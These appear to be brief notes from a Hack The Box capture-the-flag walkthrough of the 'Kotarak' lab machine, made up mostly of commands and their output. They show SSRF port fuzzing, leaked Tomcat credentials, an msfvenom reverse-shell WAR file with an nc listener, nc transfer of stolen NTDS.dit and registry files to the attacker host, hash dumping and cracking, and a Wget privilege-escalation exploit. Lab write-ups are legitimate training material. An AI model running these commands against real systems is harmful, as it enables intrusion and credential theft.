WFUZZ ALL PORTS

REVERSE WAR SHELL TOMCAT

SECRETSDUMP.PY

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)

| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)

|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

| ajp-methods:

| Supported methods: GET HEAD POST PUT DELETE OPTIONS

| Potentially risky methods: PUT DELETE

|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html

8080/tcp open http Apache Tomcat 8.5.5

|_http-favicon: Apache Tomcat

| http-methods:

|_ Potentially risky methods: PUT DELETE

|_http-title: Apache Tomcat/8.5.5 - Error report

PORT STATE SERVICE VERSION

60000/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Kotarak Web Hosting

PORT STATE SERVICE VERSION

888/tcp closed accessbuilder

http://kotarak.htb:60000/url.php?path=127.0.0.1%3A60000

root@akg:/home/akg/Desktop/hackthebox/kotarak# wfuzz -z file,ports.txt --hh 2
http://10.10.10.55:60000/url.php?path=http%3A%2F%2F127.0.0.1%3AFUZZ

- 22: OpenSSH <– We knew this already

- 110: Website: “Test page”
- 320: Website: “Admin area login” <– Could be interesting
- 200: Website “Hello World”
- 90: Website: “Page under construction”
- 888: Website: “Simple File Viewer” <– gives us access to some documents
- 3306: MySQL <– Maybe interesting later
- 8080: Tomcat <– We knew this already
- 60000: This site <– We knew this already

http://kotarak.htb:60000/url.php?path=http%3A%2F%2F127.0.0.1%3A888

http://kotarak.htb:60000/url.php?doc=backup

root@kali:/home/kali/Desktop/hackthebox/kotarak# curl
http://10.10.10.55:60000/url.php?path=localhost:888/?doc=backup

GET /url.php?path=http://localhost:888/?doc=backup HTTP/1.1 (BURP)

username="admin" password=3@g01PdhB!

http://kotarak.htb:8080/manager/html

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.33 LPORT=1234 -f war -o revshell.war

root@akg:/home/akg# nc -nlvp 1234

root@akg:/home/akg/Desktop/hackthebox/kotarak# unzip revshell.war

huimgjnvfnkagyq.jsp

http://kotarak.htb:8080/revshell/huimgjnvfnkagyq.jsp

SHELL GAINED!!!!!!

nc -lvnp 4300 > ntds.dit

nc 10.10.14.33 4300 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

root@akg:/home/akg/Desktop/hackthebox/kotarak# nc -lvnp 4300 > reg.bin

nc 10.10.14.33 4300 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

secretsdump.py -ntds ntds.dit -system reg.bin LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::

atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

f16tomcat! (Administrator)

atanas:Password123!

Su atanas f16tomcat! USER SHELL!!!!!!!!!

atanas@kotarak-dmz:/root$ ls -la

total 48

drwxrwxrwx 6 root root 4096 Sep 19 2017 .

drwxr-xr-x 27 root root 4096 Aug 29 2017 ..

-rw------- 1 atanas root 333 Jul 20 2017 app.log

-rw------- 1 root root 499 Jan 18 2018 .bash_history

-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc

drwx------ 3 root root 4096 Jul 21 2017 .cache

drwxr-x--- 3 root root 4096 Jul 19 2017 .config

-rw------- 1 atanas root 66 Aug 29 2017 flag.txt

-rw------- 1 root root 188 Jul 12 2017 .mysql_history

drwxr-xr-x 2 root root 4096 Jul 12 2017 .nano

-rw-r--r-- 1 root root 148 Aug 17 2015 .profile

drwx------ 2 root root 4096 Jul 19 2017 .ssh

atanas@kotarak-dmz:/root$ cat app.log

10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

root@kali:/home/kali/Desktop/hackthebox/kotarak# searchsploit wget 1.16

Exploit Title | Path

GNU Wget < 1.18 - Access List Bypass / Race Condition | multiple/remote/40824.py

GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution | linux/remote/40064.txt

root@kali:/home/kali/Desktop/hackthebox/kotarak# cp /usr/share/exploitdb/exploits/linux/remote/40064.txt .

https://www.exploit-db.com/exploits/40064

root@akg:/home/akg/Desktop/hackthebox/kotarak# python -m pyftpdlib -p 21 –w

atanas@kotarak-dmz:/tmp$ /usr/bin/authbind python exploit.py

https://teckk2.github.io/writeup/2018/03/10/Kotarak.html

https://www.hackingarticles.in/hack-the-box-challenge-kotarak-walkthrough/